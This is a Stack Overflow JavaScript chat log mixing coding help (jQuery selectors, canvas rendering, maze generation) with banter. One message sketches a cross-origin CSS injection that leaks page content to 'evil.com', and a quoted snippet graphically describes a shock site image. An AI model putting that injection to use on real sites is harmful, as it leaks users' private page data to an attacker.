« first day (1678 days earlier)      last day (3268 days later) » 

12:00 AM
testing 123
 
@ratsbane Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
 
12:17 AM

JamExchange FM39.426

Featuring DJ Caprica. Room player: gist.github.com/CS1000/4553...
 
@CSᵠ thanks
 
ymw
 
sorry when I drink I like to listen to music
and DJ
 
ossm
i'm on the mix i posted there
 
Added room to faves. Probably gonna leave soon to watch the Hawks
 
12:25 AM
DOM API question: So we know that changing .innerHTML causes a reflow. Say that there is an element with a couple of nested elements, and we set the textContent property of the parent element. Would that not cause a reflow as well?
 
it should
 
Find out and tell us the result
 
@MadaraUchiha you had a canonical on escaping in CSS selectors' context, right? Linky?
 
Usually with CSS, everything goes
You can feed HTML into a CSS parser and it will still try to find something that remotely resembles CSS and apply it
2
 
lol, ok
 
12:35 AM
There's an attack where you inject something { background-image: url(evil.com/ and ) } into an html page, then load that page as CSS from another domain and you get all contents in between
 
Does anyone have experience with Ghost?
 
@VermillionAzure Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
 
12:51 AM
@VermillionAzure no but I found this ghostforbeginners.com
 
@taco ....
Okay
 
cya kids, gonna go watch the hawks
 
1:13 AM
cya taco
guys i am stumped on this! can't seem to figure out why my events are not being colored. See: stackoverflow.com/questions/30361911/…
anyone have advice
 
1:26 AM
Hi guys, I have a question, I am using Express and AngularJs for an app, I am using angular to render my views except, login view, that becouse I want something like a master page and for me seems pretty much easier have the login page separated, so I am using express to render my login view, I am using passport, my problem is this, when I loggen into my app, the page should render my index view, but it doesn't works, debuggin in chrome, in network I see the preview and the response I want.
but it doesn't render my view
     router.get('/success', function(req, res){
    	res.render('index', { title: 'R12' });
    });
 
user2620028
2:11 AM
@FlorianMargaine I love that picture hahaha. I think i might have posted that one in here before at one point.
 
user2620028
@jhawins i feel like we need a hatter rage command in chat. Also i couldnt stop laughing when you were trying to describe the insert key that was priceless.
 
2:31 AM
That captcha
 
<id name="deptId" type="java.lang.Long">
<column name="DEPT_ID" precision="16" scale="0" />
<generator class="assigned" />
</id>
assigned --What does this mean ?
 
 
1 hour later…
4:00 AM
hi
whats wrong with this code
jQuery(function(){
jQuery('form-cat').submit(function(event){
event.preventDefault();
window.location.href = $("input[name=rad]:checked").val();
});
});
am i missing something?
 
It's not formatted
 
lol
 
@SinanBolel Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
 
lol anyone?
 
I'll tell you the next problem once you format your code
!!tell winresh format
 
4:05 AM
@winresh Format your code - hit Ctrl+K before sending and see the faq
 
jQuery(function(){
    jQuery('form-cat').submit(function(event){
        event.preventDefault();
        window.location.href = $("input[name=rad]:checked").val();
    });
});
sorry for that @JanDvorak
 
Next problem: You're looking for a <form-cat> tag. HTML defines no such thing.
 
What's the problem? What do you see in the console?
 
@JanDvorak <form name="form-cat" method="post" action="" id="form-cat">
 
Then your selector is wrong
 
4:13 AM
what should be @JanDvorak ?
 
jQuery('#form-cat')
 
I tried that but it do nothing
 
Perhaps it can't find any such checkbox?
 
@winresh24 What do you see in the console?
 
ok got it :) thanks for your help
 
4:24 AM
Is something like this (jsfiddle) what you're trying to do? -- edit: alright cool haha
 
thanks bro for your effort @SinanBolel :)
 
not a problem
 
0
Q: Node.js: Redis security clarification

mido22I have two servers, ServerA - nodejs server in production, already has an authentication module, very little freedom to modify code, I have added a module, that provides a token key to serverB. ServerB - nodejs server, not in production, more freedom to change code, since it should not have ind...

 
5:00 AM
What's the easiest way to draw a line (canvas) over time without a library?
from point [a,b] to [c, d]
 
setInterval + math
 
I was using
ctx.moveTo(6 + gap * row, 6 + gap * col);
ctx.lineTo(6 + gap*row + deltaX, 6 + gap*col + deltaY);
ctx.stroke();
but that's jerky
I have to use an interval? What if my animation speed is really fast?
 
define "really fast"
 
less than the minimum of setInterval
actually
doesn't matter because of frames/sec on my screen
 
I was gonna say, if it's shorter than the minimum of setInterval it might as well be instant
 
5:07 AM
To be honest, I think I'm just going to keep using a library. My canvas lines are all blurry without one and it's annoying.
 
without having done much work with canvas at all, is it possible to achieve it with transforms?
 
that's what I'm doing with d3
 
Why is this menu working in chrome, but not in firefox?
And @Meredith, I can't seem to get any further then this with my trying to make it work :P
http://jsfiddle.net/ez2zcozg/2/
 
Hey
I'll take a look at it
 
5:12 AM
@sunto Why are you using a fallback for IE6?
 
have no idea, no point in that i guess ;p
 
Have you read any text on ajax?
 
Was just there, from when I started learning coding, and i am still learning so :P
 
\o
 
5:13 AM
Yes, and most of the things I can find for reading is about ajax combined with jQuery
 
@sunto Perhaps you should stop learning from w3schools
 
Hehe yeah, that is, now a im relarning, and snce meredith pointed me to some good books, i have surely enouhg material to read through xD
 
w3schools has always been bad, but now it's also outdated so it's double bad
 
It has always been double bad
 
I have at least learned how to make use of the eventlistener, so you have gotten me a lot ahead meredith ;)
 
5:15 AM
w3schools was outdated from day 1
 
so IE6 fallbacks were outdated in 1999? This is news to me :)
 
I would think I could run the ajaxfunction, from the popstate function, like when it detects the popstate, run my ajaxfunction again, but with finding correct url or something.. the way you showed me, was hard to figure out of :o
 
Ok I see what's going on
 
@sunto you misspelled web developer in your bio
 
Let me put together an example for you
 
5:25 AM
haha
nice, cool meredith :)
 
I don't think popstate fires on jsfiddle
Oh nvm I was doing something wrong
 
5:55 AM
@sunto Ok so, sorry that took so long
I added callbacks for the ajax function, I think I mentioned that last time
And I showed you how to handle the click events
Now your job is to figure out how to apply it to popstate
 
6:10 AM
@Zirak Reading the Ariel Castro kidnappings page now. I found the psychic pronouncing Amanda dead hilarious :P
> I see water. I hear splashing. The voices are gone. She just died. She drowned!
The entire article is really upsetting, though
Gina was 14?!
 
your face is really upsetting
 
:(
 
@adeneo I am using this same concept in my backbonejs project. With a probability of ~0.3, the loading of files is failing when I refresh the page. I suspect it might be because of a file is getting loaded already before the dependency file has loaded (may be because of large size). The chrome is showing error Uncaught TypeError: Cannot read property 'prototype' of undefined and In firefox, it seems to be working fine. (I refreshed the page continuously and everything works fine) — Mr_Green 1 hour ago
^ Any help
 
that mission statement reminds me of scigen
 
@KendallFrey just for you
 
WOOO KERBALS
It's been too long
I notice you put your heat shield in front of your experiments. Pretty useless, just saying.
 
Yeah, I've been incredibly busy in the past few weeks
what's wrong with the heat shield?
 
you don't need those experiments after you land
 
6:42 AM
Don't I need to bring them back for full science?
 
nah
take the data in the command pod
Unless you're planning to reuse them on the ground
 
oh right
..Shoot.
 
I could have predicted that
 
cssdeck.com/labs/rsk4gkmd how can I make this less blurry
all attempts so far have been futile
 
6:58 AM
have you tried seeing an eye doctor?
 
no, it definitely is blurry
(I'm on a retina MBP)
 
get a new screen
 
What exactly is blurry?
looks pixel-perfect on my end
@royhowie Your usage of the word "random" bugs me because I know too much about maze generation :P
 
If it's antialiased on retina displays, grab the pixel density and shift your lines by the correct amount
 
7:01 AM
crystal clear even in your screenshot
 
first one is "blurry," second one is clear
there is absolutely no difference?
what about if you open it on your phone/something with a higher pixel density
 
try a denser canvas
 
both screenshots are blurrier than my result
 
(canvas height = 2x css height)
 
stackoverflow.com/questions/24395076/… yeah, that's what this says
so the difference is that d3 does this automagically
that's why the d3 one looks so crisp
 
7:05 AM
SO MUCH SCIENCE
 
nice demo btw
 
@SomeKittens funds, bro
 
@JanDvorak me?
 
yes
 
@KendallFrey Career mode is for people who don't have real careers
 
7:07 AM
mazes are really fun
I wrote this a year ago, but decided to revisit it and redo it with just canvas
 
@SomeKittens Science mode is for lazy people
 
@royhowie fungestion: add swastika avoidance code into it. Let us define swastika as a four-way intersection that is followed by turns of the same chirality in all four directions.
 
@JanDvorak would be really difficult since it's a recursive backtracking algorithm
I'll see if I can think of an easy solution
 
Determine in each step if you're creating a swastika, and if you are, consider that a blocked move
 
Good luck with that.
 
7:15 AM
@Nick Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
 
@JanDvorak but the swastikas can be very large
 
Still possible in polynomial time
 
What if it's rotated?
 
@JanDvorak I'm pretty sure it isn't, if you want to be really good about it
since we should block all swastika-like shapes
 
but if it's clockwise it's a buddhist symbol, the nazi swastika was counterclockwise
 
7:20 AM
Just walk in all four directions and notice which turns lead from each of them
from each intersection visible from the current node whenever you're making a new turn
 
I don't think it's worth it to write an algorithm for that.
 
They are rare enough, but it should be fun nevertheless
 
but what about swastika outlines?
those are just as bad (and also possible)
 
good point; same definition, just exchange definite walls with definite paths
you create up to three definite walls at each step
 
I should just implement Eller's algorithm
then swastikas cannot happen
 
7:30 AM
hi all
 
(it also runs in constant time per row)
 
Just 5 moar favorites to gold :P
2
 
@MadaraUchiha what ? where ?
 
@royhowie why do you think they can't?
 
136
Q: How to pass variables and data from PHP to JavaScript?

Madara UchihaI have a variable in PHP, and I need its value in my JavaScript code. How can I get my variable from PHP to JavaScript? I have code that looks like this: <$php ... $val = $myService->getValue(); // makes an api and db call $> I have JavaScript code that needs val and looks along the...

 
7:33 AM
@JanDvorak different type of maze weblog.jamisbuck.org/2010/12/29/…
@MadaraUchiha I really want to, but it's PHP, so I don't want to touch it
 
@royhowie Heh, TBF it works with any server-side
I kept it as PHP for the searchability
 
I usually go for option#2
unless I have the script directly on that page, then I use option #3
 
Please try to keep swastika images to the minimum. I'm in Germany, people are sensitive ;D
 
@OliverSalzburg I'm in Israel, people are more.
 
@OliverSalzburg that's why we're trying to swastika-proof the algorithm
 
7:37 AM
Still no idea / nobody for this guys : stackoverflow.com/questions/30352291/… ?
 
I'm in India, people are sensitive about everything for no reason
 
This sensitivity is why I want them eliminated in the first place ;-)
 
@royhowie +1 for Ruby
 
@royhowie I tried. I installed Cors, & forced use cors to app, but no effect
 
7:38 AM
@MadaraUchiha Alright, you have me beat
 
> For those of you not using IE (which will make a total mess of this), here are two demos you can play with to see the algorithm in action:
<3
 
Oh, maze building algorithms
I didn't get to swastika-proofing though
 
nor did you PC-proof the URL :D
 
@OliverSalzburg what algorithm is that?
@ivarni got me for a second. I was trying to figure out why this wouldn't work on windows.
 
@royhowie Recursive backtracker
 
7:42 AM
oh, so it's the same one I used
 
@OliverSalzburg haha, company proxy blocked the site because it fell into the "Pornography" category
 
it looks so different, though
 
@royhowie The link I posted uses a stencil image to decide which directions to take, so it's not purely random
 
okay, makes sense. I was going to say that there are too many long paths
 
@ivarni I'm not sure what other domains will point to the site. Virtual hosts and so on :\
This is the stencil
 
7:44 AM
@OliverSalzburg proxy probably just saw a "bad" word and decided to nuke it
 
Looks very different without stencil
 
yeah, "dirty motherfucker" doesn't sound like a very good name for proxies
 
@ivarni Yeah, probably. There is just code porn on that site :P
 
@FlorianMargaine Better than HotMail though
 
@OliverSalzburg no. There's an swf.
@dystroy oh dear. I remember the first time I told my mom "my email address is foo at hotmail dot com!"
 
7:46 AM
!!s/for proxies//
 
@JanDvorak yeah, "dirty motherfucker" doesn't sound like a very good name (source)
 
she had a very weird look
 
@FlorianMargaine Back then, it was cool. And I was young. Leave me alone!
 
I had to explain for half an hour that no, this is not a porn website
 
@FlorianMargaine Never had a hotmail before
 
7:47 AM
@FlorianMargaine HotMail was blocked and got me in trouble back in the days in a very big French company...
 
@FlorianMargaine Wondering if gmail would have been worse
 
Twas one of the reasons I cracked their proxy
@JanDvorak gmail is very recent
 
@dystroy ingenia?
 
My first one was 012.net.il provided by the ISP, coolmail, which was a free 10MB service, walla, which was 50MB, then settled for GMail (back when it was invitation only)
 
7:48 AM
@FlorianMargaine no, my customer, Usinor (now part of Arcelor Mittal)
 
I think everyone got their gmail when it was invitation only
 
I didn't
 
you were 7
 
Hurray for my unusual name, though
@FlorianMargaine 7 year olds have emails
 
Can confirm ^
 
7:49 AM
@SomeGuy they didn't
 
And BTW ingenia wasn't retarded regarding internet, it was on internet long before the web and long before internet providers even existed
 
We totes did. And we had like 6 of them
 
I had a few on Hotmail and some on Yahoo
Some on AOL too
And they were all cool
Thankfully, I didn't use the word hacker in any of them :P Didn't go that far
 
horsemask@hotmail.com
 
7:55 AM
I had "mail@<firstname>.cx" for a long time before I realized what people were using .cx for :/
 
What are people using cx for ?
 
Goatse.cx (/ˈɡoʊtsiː dɒt ˌsiː ˈɛks/ GOAT-see-dot-see-EKS or /ˈɡoʊt.sɛks/; "goat sex"), often referred to simply as "Goatse", was originally an Internet shock site. Its front page featured a picture, entitled hello.jpg, showing a naked man stretching his anus with both hands, to approximately the width of his fist. The inside of his rectum is also clearly visible. Below his anus, his penis and scrotum are visible, as well as a golden ring on the ring finger of his left hand. This site became a notorious surprise image and Internet meme, and was—and, through external mirror sites, still is—us...
 
Coffee number 3 failed in its mission too
 

« first day (1678 days earlier)      last day (3268 days later) »